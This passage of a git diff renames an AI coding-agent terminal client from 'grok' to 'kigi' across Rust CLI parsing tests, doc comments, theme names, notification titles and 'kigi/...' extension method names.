             "--leader-socket",
@@ -1008,21 +1013,21 @@ mod tests {
     }
     #[test]
     fn leader_socket_flag_defaults_to_none() {
-        let args = PagerArgs::try_parse_from(["grok"]).expect("bare grok parses");
+        let args = PagerArgs::try_parse_from(["kigi"]).expect("bare kigi parses");
         assert!(args.leader_socket.is_none());
     }
     #[test]
     fn leader_mgmt_list_info_kill_parse() {
-        let list = PagerArgs::try_parse_from(["grok", "leader", "list", "--json"])
-            .expect("grok leader list --json");
+        let list = PagerArgs::try_parse_from(["kigi", "leader", "list", "--json"])
+            .expect("kigi leader list --json");
         assert!(matches!(
             list.command,
             Some(Command::Leader(LeaderMgmtArgs {
                 command: LeaderMgmtCommand::List { json: true },
             }))
         ));
-        let info = PagerArgs::try_parse_from(["grok", "leader", "info", "--pid", "42"])
-            .expect("grok leader info --pid");
+        let info = PagerArgs::try_parse_from(["kigi", "leader", "info", "--pid", "42"])
+            .expect("kigi leader info --pid");
         assert!(matches!(
             info.command,
             Some(Command::Leader(LeaderMgmtArgs {
@@ -1032,25 +1037,25 @@ mod tests {
                 },
             }))
         ));
-        let kill = PagerArgs::try_parse_from(["grok", "leader", "kill"]).expect("grok leader kill");
+        let kill = PagerArgs::try_parse_from(["kigi", "leader", "kill"]).expect("kigi leader kill");
         assert!(matches!(
             kill.command,
             Some(Command::Leader(LeaderMgmtArgs {
                 command: LeaderMgmtCommand::Kill,
             }))
         ));
-        assert!(PagerArgs::try_parse_from(["grok", "leader", "profile"]).is_err());
+        assert!(PagerArgs::try_parse_from(["kigi", "leader", "profile"]).is_err());
     }
     #[test]
     fn debug_file_flag_parses_and_is_global() {
-        let root = PagerArgs::try_parse_from(["grok", "--debug-file", "/tmp/fire.txt"])
+        let root = PagerArgs::try_parse_from(["kigi", "--debug-file", "/tmp/fire.txt"])
             .expect("--debug-file parses at the root");
         assert_eq!(
             root.debug_file.as_deref(),
             Some(std::path::Path::new("/tmp/fire.txt"))
         );
         let sub =
-            PagerArgs::try_parse_from(["grok", "agent", "stdio", "--debug-file", "/tmp/f.txt"])
+            PagerArgs::try_parse_from(["kigi", "agent", "stdio", "--debug-file", "/tmp/f.txt"])
                 .expect("--debug-file parses after a subcommand (global)");
         assert_eq!(
             sub.debug_file.as_deref(),
@@ -1059,90 +1064,90 @@ mod tests {
     }
     #[test]
     fn debug_file_flag_defaults_to_none() {
-        let args = PagerArgs::try_parse_from(["grok"]).expect("bare grok parses");
+        let args = PagerArgs::try_parse_from(["kigi"]).expect("bare kigi parses");
         assert!(args.debug_file.is_none());
     }
     #[test]
     fn positional_prompt_seeds_interactive_session() {
         let args =
-            PagerArgs::try_parse_from(["grok", "fix the bug"]).expect("positional prompt parses");
+            PagerArgs::try_parse_from(["kigi", "fix the bug"]).expect("positional prompt parses");
         assert_eq!(args.initial_prompt(), Some("fix the bug"));
         assert!(args.command.is_none());
         assert!(args.single.is_none());
     }
     #[test]
-    fn bare_grok_has_no_initial_prompt() {
-        let args = PagerArgs::try_parse_from(["grok"]).expect("bare grok parses");
+    fn bare_kigi_has_no_initial_prompt() {
+        let args = PagerArgs::try_parse_from(["kigi"]).expect("bare kigi parses");
         assert_eq!(args.initial_prompt(), None);
     }
     #[test]
     fn initial_prompt_trims_and_ignores_whitespace_only() {
-        let args = PagerArgs::try_parse_from(["grok", "  spaced  "]).expect("padded prompt parses");
+        let args = PagerArgs::try_parse_from(["kigi", "  spaced  "]).expect("padded prompt parses");
         assert_eq!(args.initial_prompt(), Some("spaced"));
-        let blank = PagerArgs::try_parse_from(["grok", "   "]).expect("blank prompt parses");
+        let blank = PagerArgs::try_parse_from(["kigi", "   "]).expect("blank prompt parses");
         assert_eq!(blank.initial_prompt(), None);
     }
     #[test]
     fn subcommand_takes_precedence_over_positional_prompt() {
-        let args = PagerArgs::try_parse_from(["grok", "logout"]).expect("subcommand parses");
+        let args = PagerArgs::try_parse_from(["kigi", "logout"]).expect("subcommand parses");
         assert!(matches!(args.command, Some(Command::Logout)));
         assert!(args.prompt.is_none());
     }
     #[test]
     fn positional_prompt_conflicts_with_headless_single() {
-        let err = PagerArgs::try_parse_from(["grok", "-p", "headless", "interactive"])
+        let err = PagerArgs::try_parse_from(["kigi", "-p", "headless", "interactive"])
             .expect_err("positional prompt + --single must conflict");
         assert_eq!(err.kind(), clap::error::ErrorKind::ArgumentConflict);
     }
     #[test]
     fn worktree_flag_and_initial_prompt_combine() {
-        let a = PagerArgs::try_parse_from(["grok", "do the thing", "-w"])
+        let a = PagerArgs::try_parse_from(["kigi", "do the thing", "-w"])
             .expect("prompt then bare -w parses");
         assert_eq!(a.initial_prompt(), Some("do the thing"));
         assert_eq!(a.worktree.as_deref(), Some(""));
-        let b = PagerArgs::try_parse_from(["grok", "--worktree=feat", "do the thing"])
+        let b = PagerArgs::try_parse_from(["kigi", "--worktree=feat", "do the thing"])
             .expect("--worktree=name + positional parses");
         assert_eq!(b.initial_prompt(), Some("do the thing"));
         assert_eq!(b.worktree.as_deref(), Some("feat"));
-        let c = PagerArgs::try_parse_from(["grok", "-w", "x"]).expect("-w x parses");
+        let c = PagerArgs::try_parse_from(["kigi", "-w", "x"]).expect("-w x parses");
         assert_eq!(c.worktree.as_deref(), Some("x"));
         assert_eq!(c.initial_prompt(), None);
     }
     #[test]
     fn trust_flag_parses_on_pager_and_alias() {
-        let bare = PagerArgs::try_parse_from(["grok"]).expect("bare grok parses");
+        let bare = PagerArgs::try_parse_from(["kigi"]).expect("bare kigi parses");
         assert!(!bare.trust);
-        let long = PagerArgs::try_parse_from(["grok", "--trust"]).expect("--trust parses");
+        let long = PagerArgs::try_parse_from(["kigi", "--trust"]).expect("--trust parses");
         assert!(long.trust);
         let alias =
-            PagerArgs::try_parse_from(["grok", "--trust-folder"]).expect("--trust-folder parses");
+            PagerArgs::try_parse_from(["kigi", "--trust-folder"]).expect("--trust-folder parses");
         assert!(alias.trust);
     }
     #[test]
     fn reasoning_effort_and_effort_alias_parse_same_field() {
-        let long = PagerArgs::try_parse_from(["grok", "--reasoning-effort", "high"])
+        let long = PagerArgs::try_parse_from(["kigi", "--reasoning-effort", "high"])
             .expect("--reasoning-effort parses");
         assert_eq!(long.reasoning_effort.as_deref(), Some("high"));
         let alias =
-            PagerArgs::try_parse_from(["grok", "--effort", "high"]).expect("--effort alias parses");
+            PagerArgs::try_parse_from(["kigi", "--effort", "high"]).expect("--effort alias parses");
         assert_eq!(alias.reasoning_effort.as_deref(), Some("high"));
     }
     #[test]
     fn reasoning_effort_accepts_max_and_remapped_ids() {
-        let max = PagerArgs::try_parse_from(["grok", "--effort", "max"]).expect("max parses");
+        let max = PagerArgs::try_parse_from(["kigi", "--effort", "max"]).expect("max parses");
         assert_eq!(max.reasoning_effort.as_deref(), Some("max"));
         let deep =
-            PagerArgs::try_parse_from(["grok", "--reasoning-effort", "deep"]).expect("deep parses");
+            PagerArgs::try_parse_from(["kigi", "--reasoning-effort", "deep"]).expect("deep parses");
         assert_eq!(deep.reasoning_effort.as_deref(), Some("deep"));
     }
     #[test]
     fn reasoning_effort_last_flag_wins_when_both_names_set() {
         let args =
-            PagerArgs::try_parse_from(["grok", "--reasoning-effort", "low", "--effort", "high"])
+            PagerArgs::try_parse_from(["kigi", "--reasoning-effort", "low", "--effort", "high"])
                 .expect("both effort flag names parse");
         assert_eq!(args.reasoning_effort.as_deref(), Some("high"));
         let reverse =
-            PagerArgs::try_parse_from(["grok", "--effort", "high", "--reasoning-effort", "low"])
+            PagerArgs::try_parse_from(["kigi", "--effort", "high", "--reasoning-effort", "low"])
                 .expect("both effort flag names parse (reverse order)");
         assert_eq!(reverse.reasoning_effort.as_deref(), Some("low"));
     }
@@ -1165,7 +1170,7 @@ mod tests {
 
     #[test]
     fn agent_args_effort_alias_parses() {
-        let args = PagerArgs::try_parse_from(["grok", "agent", "--effort", "max", "stdio"])
+        let args = PagerArgs::try_parse_from(["kigi", "agent", "--effort", "max", "stdio"])
             .expect("agent --effort parses");
         let Command::Agent(agent) = args.command.expect("agent subcommand") else {
             panic!("expected agent subcommand");
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/auth.rs b/crates/codegen/kigi-tui/src/app/dispatch/auth.rs
index 4df3aa3..fb2e45d 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/auth.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/auth.rs
@@ -24,7 +24,7 @@ pub(super) fn dispatch_logout(_app: &mut AppView) -> Vec<Effect> {
 /// On the eager-auth path (cached token), login_method_id is never set
 /// because the user skipped the login screen.
 ///
-/// Does **not** invent `grok.com` when no interactive method is advertised
+/// Does **not** invent `kimi-code` when no interactive method is advertised
 /// (e.g. `preferred_method=api_key` with no key — empty `auth_methods`).
 /// Callers already surface "No login method available" when this leaves
 /// `login_method_id` unset.
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/interject.rs b/crates/codegen/kigi-tui/src/app/dispatch/interject.rs
index 9bfe359..e4de7d0 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/interject.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/interject.rs
@@ -1,5 +1,5 @@
 //! Mid-turn interjection dispatch: optimistic local echo, the
-//! `x.ai/interject` effect, and prompt-history recording. Split out of
+//! `kigi/interject` effect, and prompt-history recording. Split out of
 //! `dispatch.rs` verbatim (pure code motion).
 
 use crate::app::actions::Effect;
@@ -9,10 +9,10 @@ use crate::scrollback::block::RenderBlock;
 
 /// Send a mid-turn interjection. Pushes a standard user prompt block locally
 /// for instant feedback, records the text in prompt history, clears the
-/// prompt, and fires the `x.ai/interject` ext method carrying a client-minted
+/// prompt, and fires the `kigi/interject` ext method carrying a client-minted
 /// id.
 ///
-/// The shell broadcasts `x.ai/session/interjection` to every attached pane so
+/// The shell broadcasts `kigi/session/interjection` to every attached pane so
 /// other clients viewing the same session render it too (multi-client /
 /// dashboard mode). Our own broadcast echoes back carrying the same id; the id
 /// is recorded in `self_interjection_ids` so `handle_interjection` drops the
@@ -43,7 +43,7 @@ pub(super) fn dispatch_interject(
     record_interject_prompt_history(agent, &text);
 
     // Push a standard user prompt block locally for instant feedback, and
-    // record its id so the broadcast echo (`x.ai/session/interjection`) is
+    // record its id so the broadcast echo (`kigi/session/interjection`) is
     // deduped instead of rendering a second copy on this pane.
     let interjection_id = uuid::Uuid::new_v4().to_string();
     agent.self_interjection_ids.insert(interjection_id.clone());
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/notes.rs b/crates/codegen/kigi-tui/src/app/dispatch/notes.rs
index aea4117..33678b3 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/notes.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/notes.rs
@@ -69,7 +69,7 @@ pub(super) fn dispatch_send_feedback(app: &mut AppView, text: String) -> Vec<Eff
     };
 
     agent.scrollback.push_block(RenderBlock::system(
-        "Thanks for the feedback! The Grok Build team is on it.".to_string(),
+        "Thanks for the feedback! The Kigi team is on it.".to_string(),
     ));
 
     vec![Effect::SendFeedback {
@@ -79,7 +79,7 @@ pub(super) fn dispatch_send_feedback(app: &mut AppView, text: String) -> Vec<Eff
     }]
 }
 
-/// Send a raw remember note for LLM-powered rewriting via `x.ai/memory/rewrite`.
+/// Send a raw remember note for LLM-powered rewriting via `kigi/memory/rewrite`.
 /// Clears remember mode and prompts the LLM to reformat the note with session
 /// context. Falls back to direct `SaveMemoryNote` when no session is available.
 pub(super) fn dispatch_send_remember_note(app: &mut AppView, text: String) -> Vec<Effect> {
@@ -327,7 +327,7 @@ pub(crate) fn scrollback_has_user_messages(
 }
 
 /// Request a session recap. Bypasses the prompt queue — works even while the
-/// agent is mid-turn. Fires the `x.ai/recap` ext method; the recap arrives
+/// agent is mid-turn. Fires the `kigi/recap` ext method; the recap arrives
 /// asynchronously as a `SessionRecap` notification (rendered in scrollback).
 ///
 /// `auto` is `false` for an explicit `/recap` and `true` for the automatic
@@ -343,7 +343,7 @@ pub(super) fn dispatch_send_recap(app: &mut AppView, auto: bool) -> Vec<Effect>
     };
 
     // Shell is authoritative (remote settings / config / env). Skip client requests
-    // entirely when the feature is off so we never hit `x.ai/recap`.
+    // entirely when the feature is off so we never hit `kigi/recap`.
     if !app.session_recap_available {
         if !auto {
             agent.show_toast("Session recap is not enabled");
@@ -420,7 +420,7 @@ pub(super) fn handle_memory_note_saved(
                     .scrollback
                     .push_block(crate::scrollback::block::RenderBlock::system(format!(
                         "Memory saved to {}",
-                        crate::util::display_user_grok_path("memory/MEMORY.md")
+                        crate::util::display_user_kigi_path("memory/MEMORY.md")
                     )));
             }
             Err(error) => {
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/permissions.rs b/crates/codegen/kigi-tui/src/app/dispatch/permissions.rs
index dc708f2..27a0d1b 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/permissions.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/permissions.rs
@@ -23,7 +23,7 @@ use agent_client_protocol as acp;
 /// existing `set_yolo_mode(true)` flow to flip the local YOLO state, drain
 /// any remaining queued permissions, persist `[ui] permission_mode =
 /// "always-approve"` to `~/.kigi/config.toml`, and fire the
-/// `x.ai/yolo_mode_changed` ACP notification. See the option-id constant
+/// `kigi/yolo_mode_changed` ACP notification. See the option-id constant
 /// doc-comment for the full client/shell split. Under a managed-policy
 /// pin step (b) is refused with a toast — the request is still allowed once.
 pub(super) fn dispatch_permission_select(
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/prompt.rs b/crates/codegen/kigi-tui/src/app/dispatch/prompt.rs
index 1f77487..4436b2d 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/prompt.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/prompt.rs
@@ -32,7 +32,7 @@ pub(super) fn consume_chat_kind(app: &mut AppView) -> bool {
 /// The prompt is always pushed to the queue first. If the agent is idle
 /// (and has a session), `maybe_drain_queue` pops the front prompt and
 /// sends it in the same dispatch call — no deferred ticks.
-/// Start (if needed) and submit the initial prompt from `grok "<prompt>"`.
+/// Start (if needed) and submit the initial prompt from `kigi "<prompt>"`.
 ///
 /// Shared by the TUI startup path (already authenticated) and the post-login
 /// `AuthComplete` path (deferred via `deferred_startup.prompt`). It does nothing
@@ -511,7 +511,7 @@ pub(super) fn dispatch_send_prompt_inner(
         // immediately instead of being held in the local drip-feed queue. The
         // agent appends it to its authoritative `pending_inputs` (no concurrent
         // turn starts — validated keystone) and drives the drain via
-        // `x.ai/queue/changed`. We render an optimistic echo into the shared
+        // `kigi/queue/changed`. We render an optimistic echo into the shared
         // queue keyed by `prompt_id`; the broadcast reconciles it by id.
         //
         // The IDLE case is unchanged (falls through to the local path below,
@@ -930,7 +930,7 @@ pub(super) fn handle_prompt_response(
                 // Server-authoritative queue lifecycle: this prompt's RPC
                 // resolved without becoming the running turn (removed,
                 // cancelled, rewound). Retire its optimistic echo so a
-                // later `x.ai/queue/changed` broadcast can't re-pin a
+                // later `kigi/queue/changed` broadcast can't re-pin a
                 // stale placeholder and reorder the queue.
                 if let Some(sid) = agent.session.session_id.as_ref().map(|s| s.0.to_string()) {
                     retire_optimistic_echo(
@@ -1171,7 +1171,7 @@ pub(super) fn handle_prompt_response(
                 // title into the body automatically.
                 let notif_title = session_name
                     .map(|s| s.to_string())
-                    .unwrap_or_else(|| "Grok".into());
+                    .unwrap_or_else(|| "Kigi".into());
 
                 app.deferred_notification = Some((
                     NotificationEvent {
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/queue.rs b/crates/codegen/kigi-tui/src/app/dispatch/queue.rs
index b93dacb..b3ebdcc 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/queue.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/queue.rs
@@ -62,7 +62,7 @@ pub(super) fn immediate_server_send_eligible(agent: &AgentView) -> bool {
 
 /// Push the optimistic shared-queue echo for an immediate server-authoritative
 /// send and mirror it into the owning agent so the queue pane renders it
-/// immediately, before the confirming `x.ai/queue/changed` broadcast.
+/// immediately, before the confirming `kigi/queue/changed` broadcast.
 pub(super) fn push_server_queue_echo(
     app: &mut AppView,
     agent_id: AgentId,
@@ -91,7 +91,7 @@ pub(super) fn push_server_queue_echo(
 ///
 /// The agent's `pending_inputs` is the single source of truth for queue
 /// contents and order; the only client-side queue state is the optimistic echo
-/// that bridges the round-trip before the confirming `x.ai/queue/changed`
+/// that bridges the round-trip before the confirming `kigi/queue/changed`
 /// broadcast. Once a prompt's RPC resolves (or we pull it back into the input
 /// on cancel) it will never reappear in a future broadcast, so its echo must be
 /// dropped — otherwise the reconcile in [`AppView::apply_queue_changed`] keeps
@@ -633,7 +633,7 @@ pub(crate) fn apply_turn_start_shim(
     agent.session.current_prompt_id = Some(prompt_id.clone());
     agent.attached_as_viewer = adopted_from_other_client;
     // A new (adopted) turn is starting: drop the prior turn's chips but KEEP the
-    // seen ring, so a buffer-replayed `x.ai/follow_ups` for an older response
+    // seen ring, so a buffer-replayed `kigi/follow_ups` for an older response
     // stays rejected (no stale revival). This is correct for BOTH passive-viewer
     // and self-driven adoption: the adopted turn's OWN follow_ups still
     // re-render via the stamped `promptId` match in `apply_follow_ups` (the
@@ -1150,7 +1150,7 @@ mod tests {
     }
 
     /// FIX 4 (b) via the shim: after starting a NEW turn, a buffer-replayed
-    /// `x.ai/follow_ups` for a PRIOR turn's response stays rejected (its
+    /// `kigi/follow_ups` for a PRIOR turn's response stays rejected (its
     /// `promptId` is not the active turn and it is already seen) — no stale
     /// revival. Covers the self-driven turn start (`p-self`).
     #[test]
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/session/fork.rs b/crates/codegen/kigi-tui/src/app/dispatch/session/fork.rs
index 8d9059a..e49e093 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/session/fork.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/session/fork.rs
@@ -95,8 +95,8 @@ pub(in crate::app::dispatch) fn apply_persist_worktree_mode(
 /// Build the two persistence options shared by the fork and new-session
 /// worktree question modals ("Always worktree" / "Never worktree").
 pub(super) fn worktree_persist_options()
--> [kigi_tools::implementations::grok_build::ask_user_question::QuestionOption; 2] {
-    use kigi_tools::implementations::grok_build::ask_user_question::QuestionOption;
+-> [kigi_tools::implementations::kigi::ask_user_question::QuestionOption; 2] {
+    use kigi_tools::implementations::kigi::ask_user_question::QuestionOption;
     [
         QuestionOption {
             label: "Always worktree".into(),
@@ -117,7 +117,7 @@ pub(super) fn worktree_persist_options()
 /// instead -- the modal-collision protocol.
 fn open_fork_question(app: &mut AppView, directive: Option<String>) -> Vec<Effect> {
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let ActiveView::Agent(id) = app.active_view else {
         return vec![];
     };
@@ -168,7 +168,7 @@ fn open_fork_question(app: &mut AppView, directive: Option<String>) -> Vec<Effec
 /// `worktree == true` reuses the existing
 /// [`Effect::CreateWorktreeSession`] pipeline (with `load_session_id`
 /// set to the parent session id). `worktree == false` emits the new
-/// [`Effect::ForkSession`] which calls `x.ai/session/fork` directly.
+/// [`Effect::ForkSession`] which calls `kigi/session/fork` directly.
 pub(in crate::app::dispatch) fn dispatch_fork_resolved(
     app: &mut AppView,
     worktree: bool,
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/session/lifecycle.rs b/crates/codegen/kigi-tui/src/app/dispatch/session/lifecycle.rs
index 6241c5c..7e78406 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/session/lifecycle.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/session/lifecycle.rs
@@ -154,7 +154,7 @@ pub(in crate::app::dispatch) fn dispatch_new_session(app: &mut AppView) -> Vec<E
 /// [`dispatch_new_worktree_session`].
 pub(in crate::app::dispatch) fn open_new_session_question(app: &mut AppView) -> Vec<Effect> {
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let ActiveView::Agent(id) = app.active_view else {
         return vec![];
     };
@@ -211,7 +211,7 @@ pub(in crate::app::dispatch) fn open_agent_type_mismatch_question(
     model_name: &str,
 ) -> Vec<Effect> {
     use crate::views::question_view::{LocalQuestionKind, QuestionViewState};
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     let ActiveView::Agent(id) = app.active_view else {
         return vec![];
     };
@@ -408,7 +408,7 @@ pub(in crate::app::dispatch) fn clear_startup_actions(app: &mut AppView) {
     let _ = app.deferred_startup.take();
 }
 /// Replay the session-startup actions deferred until auth + trust both resolved
-/// (`--resume` / `--worktree` / initial-prompt / `grok dashboard`). Extracted
+/// (`--resume` / `--worktree` / initial-prompt / `kigi dashboard`). Extracted
 /// from the `AuthComplete` handler so the folder-trust answer can run the SAME
 /// machinery; whichever gate resolves last drains it (each call site guards on
 /// the other gate being `Done`, so it runs exactly once).
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/session/load.rs b/crates/codegen/kigi-tui/src/app/dispatch/session/load.rs
index 3fad218..bf5fc6e 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/session/load.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/session/load.rs
@@ -606,7 +606,7 @@ pub(in crate::app::dispatch) fn dispatch_trigger_deep_search(
     }
 }
 /// Chat-mode replacement for local deep search: refetch the session list
-/// with the picker query pushed down as `x.ai/session/list` `query`.
+/// with the picker query pushed down as `kigi/session/list` `query`.
 /// Keystrokes are coalesced through [`Effect::DebounceSessionSearch`]; a
 /// forced search (Ctrl+/) or a cleared query fetches immediately. Every
 /// trigger bumps `session_picker_list_seq`, so stale in-flight debounces
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/session/modal.rs b/crates/codegen/kigi-tui/src/app/dispatch/session/modal.rs
index 84db5a9..97bec0b 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/session/modal.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/session/modal.rs
@@ -68,7 +68,7 @@ pub(in crate::app::dispatch) fn dispatch_sessions_confirm_close(
     remove_agent_and_cleanup(app, closed_id);
     effects
 }
-/// Rename the current session via x.ai/session/rename.
+/// Rename the current session via kigi/session/rename.
 ///
 /// Produces Effect::RenameSession which spawns an async ACP ext request.
 /// On completion, TaskResult::RenameSessionComplete shows the result.
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/settings/setters.rs b/crates/codegen/kigi-tui/src/app/dispatch/settings/setters.rs
index c9214d4..4bcac9c 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/settings/setters.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/settings/setters.rs
@@ -248,7 +248,7 @@ pub(in crate::app::dispatch) fn set_ask_user_question_timeout_enabled(
     app: &mut AppView,
     new: bool,
 ) -> Vec<Effect> {
-    use kigi_tools::implementations::grok_build::ask_user_question;
+    use kigi_tools::implementations::kigi::ask_user_question;
     let prev_state = app.ask_user_question_timeout_enabled;
     let prev_effective =
         prev_state.unwrap_or(ask_user_question::DEFAULT_ASK_USER_QUESTION_TIMEOUT_ENABLED);
@@ -1206,8 +1206,8 @@ pub(in crate::app::dispatch) fn set_auto_dark_theme(app: &mut AppView, new: Stri
         .as_deref()
         .and_then(crate::theme::canonical_name)
         .filter(|s| *s != "auto")
-        // No prior config: fall back to GrokNight (the default).
-        .unwrap_or_else(|| crate::theme::ThemeKind::GrokNight.display_name());
+        // No prior config: fall back to KigiNight (the default).
+        .unwrap_or_else(|| crate::theme::ThemeKind::KigiNight.display_name());
     let new_canonical = match crate::theme::canonical_name(&new) {
         Some(c) if c != crate::theme::ThemeKind::Auto.display_name() => c,
         _ => {
@@ -1320,7 +1320,7 @@ pub(in crate::app::dispatch) fn set_auto_light_theme(
         .as_deref()
         .and_then(crate::theme::canonical_name)
         .filter(|s| *s != "auto")
-        .unwrap_or_else(|| crate::theme::ThemeKind::GrokDay.display_name());
+        .unwrap_or_else(|| crate::theme::ThemeKind::KigiDay.display_name());
     let new_canonical = match crate::theme::canonical_name(&new) {
         Some(c) if c != crate::theme::ThemeKind::Auto.display_name() => c,
         _ => {
@@ -1430,7 +1430,7 @@ pub(in crate::app::dispatch) fn set_default_model_inner(
     // or `/clear` creates a fresh session by cloning `app.models`
     // (`dispatch_new_session_inner_with_id`), so without this the new session —
     // and the welcome card it commits — would show the previous default until
-    // the next `x.ai/models/update` roundtrip.
+    // the next `kigi/models/update` roundtrip.
     if app.models.available.contains_key(id) {
         app.models.set_current(id.clone(), None);
     }
@@ -1510,7 +1510,7 @@ pub(in crate::app::dispatch) fn set_default_model(
 
     // Persist the **model ID** (catalog key), not the display name.
     // The shell's `resolve_default_model` matches by slug / map key,
-    // so persisting the human-readable name (e.g. "Grok Build")
+    // so persisting the human-readable name (e.g. "Kigi")
     // would silently fail to resolve on the next startup.
     //
     // Chat (`--chat` / KIGI_CHAT_MODE) catalogs use opaque `/rest/modes`
@@ -1798,7 +1798,7 @@ pub(in crate::app::dispatch) fn set_max_thoughts_width(app: &mut AppView, new: i
 /// (`show_tips`, `auto_update`, ask_user_question timeout).
 /// Matches the consumer's `.unwrap_or(...)` fallback.
 pub(super) fn pr13_effective_default(key: &str) -> Option<bool> {
-    use kigi_tools::implementations::grok_build::ask_user_question;
+    use kigi_tools::implementations::kigi::ask_user_question;
     match key {
         "show_tips" => Some(true),
         "auto_update" => Some(true),
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/status.rs b/crates/codegen/kigi-tui/src/app/dispatch/status.rs
index a48a3ac..23c61c9 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/status.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/status.rs
@@ -8,7 +8,7 @@ use crate::app::app_view::{ActiveView, AppView};
 use crate::notifications::{NotificationEvent, NotificationEventKind};
 use crate::scrollback::block::RenderBlock;
 
-/// Show session info: fetch via x.ai/session/info and display in scrollback.
+/// Show session info: fetch via kigi/session/info and display in scrollback.
 ///
 /// Produces Effect::ShowSessionInfo which spawns an async ACP ext request.
 /// On completion, TaskResult::SessionInfoComplete shows the formatted info.
@@ -49,7 +49,7 @@ pub(super) fn scrub_error_for_toast(error: &str) -> String {
     }
 }
 
-/// Show context info: fetch via x.ai/session/info and display rich breakdown.
+/// Show context info: fetch via kigi/session/info and display rich breakdown.
 ///
 /// Produces Effect::ShowContextInfo which spawns an async ACP ext request.
 /// On completion, TaskResult::ContextInfoComplete shows the formatted info.
@@ -72,7 +72,7 @@ pub(super) fn dispatch_show_context_info(app: &mut AppView) -> Vec<Effect> {
 
 /// `/usage` — fetch Kimi usage/quota rows and display them inline.
 ///
-/// Produces [`Effect::FetchUsage`], which asks the shell's `x.ai/billing`
+/// Produces [`Effect::FetchUsage`], which asks the shell's `kigi/billing`
 /// extension (`GET {base}/usages`); [`handle_usage_fetched`] renders the
 /// rows as a system block in scrollback.
 pub(super) fn dispatch_show_usage(app: &mut AppView) -> Vec<Effect> {
@@ -225,7 +225,7 @@ pub(super) fn notify_session_ready(
 ) {
     notification_service.notify(NotificationEvent {
         kind: NotificationEventKind::SessionReady,
-        title: "Grok".into(),
+        title: "Kigi".into(),
         body: NotificationEventKind::SessionReady.as_str().into(),
         session_id: agent.session.session_id.as_ref().map(|s| s.0.to_string()),
     });
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/auth.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/auth.rs
index 60c087c..1ecea0f 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/auth.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/auth.rs
@@ -218,7 +218,7 @@ fn cancel_login_strips_reauth_prompt_from_scrollback() {
 }
 
 /// Empty `auth_methods` (preferred_method pin unavailable) must not invent
-/// `grok.com` or start an OIDC flow the agent did not advertise.
+/// `kimi-code` or start an OIDC flow the agent did not advertise.
 #[test]
 fn login_with_empty_auth_methods_fails_closed() {
     let mut app = test_app_with_agent();
diff --git a/crates/codegen/kigi-tui/src/app/dispatch/tests/dashboard.rs b/crates/codegen/kigi-tui/src/app/dispatch/tests/dashboard.rs
index 3ac6e3e..f6f4249 100644
--- a/crates/codegen/kigi-tui/src/app/dispatch/tests/dashboard.rs
+++ b/crates/codegen/kigi-tui/src/app/dispatch/tests/dashboard.rs
@@ -2,7 +2,7 @@
 
 use super::*;
 
-/// `grok dashboard` before login: the startup hook consumes the
+/// `kigi dashboard` before login: the startup hook consumes the
 /// `KIGI_OPEN_DASHBOARD_AT_STARTUP` env var and stashes
 /// `deferred_startup.open_dashboard`; `AuthComplete` must then open the
 /// dashboard view. Regression test for the silent drop where the
@@ -30,7 +30,7 @@ fn auth_complete_opens_deferred_dashboard() {
     assert!(matches!(app.auth_state, AuthState::Done));
     assert!(
         matches!(app.active_view, ActiveView::AgentDashboard),
-        "deferred `grok dashboard` must open the dashboard after login",
+        "deferred `kigi dashboard` must open the dashboard after login",
     );
     assert!(
         !app.deferred_startup.open_dashboard,
@@ -575,15 +575,15 @@ fn dashboard_confirm_worktree_without_git_repo_creates_nothing() {
 #[test]
 fn dashboard_confirm_worktree_applies_pending_model_and_plan() {
     let mut app = test_app();
-    seed_model(&mut app, "grok-4.5", "Grok 4.5");
+    seed_model(&mut app, "kigi-4.5", "Kigi 4.5");
     open_dashboard(&mut app);
     app.cwd_has_git_ancestor = true;
-    let model_id = acp::ModelId::new(std::sync::Arc::from("grok-4.5"));
